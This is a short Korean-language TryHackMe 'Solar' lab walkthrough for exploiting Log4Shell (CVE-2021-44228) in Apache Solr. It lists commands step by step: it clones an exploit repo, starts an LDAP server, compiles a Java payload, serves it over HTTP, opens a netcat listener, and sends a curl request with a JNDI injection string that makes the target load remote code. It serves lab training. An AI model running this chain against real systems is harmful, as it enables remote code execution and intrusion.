💻 -h3x0v3rl0rd-

log4j CVE-2021-44228 악용하기 ( TryHackMe Solar, Walkthrough)

git clone https://github.com/n3rdh4x0r/log4j.git 

1. log4j.py 실행 (필요한 모든 애플리케이션을 설치하고 LDAP 서버를 시작합니다)

ifconfig tun0
python3 log4j.py 10.8.227.251

2. Exploit.java 파일에 공격자 IP 추가

3. 페이로드 컴파일

javac Exploit.java -source 8 -target 8

4. 임시 HTTP 서버

python3 -m http.server 8888

5. netcat 리스너

nc -lnvp 9999

6. 마지막으로, 이제 남은 것은 익스플로잇을 트리거하고 JNDI 구문을 실행하는 것뿐입니다! 포트 번호(이제 LDAP 서버를 가리킴)와 검색할 리소스가 변경되어 우리의 익스플로잇을 지정한다는 점에 유의하세요:

curl 'http://10.10.45.175:8983/solr/admin/cores?foo=$\{jndi:ldap://10.8.227.251:1389/Exploit\}'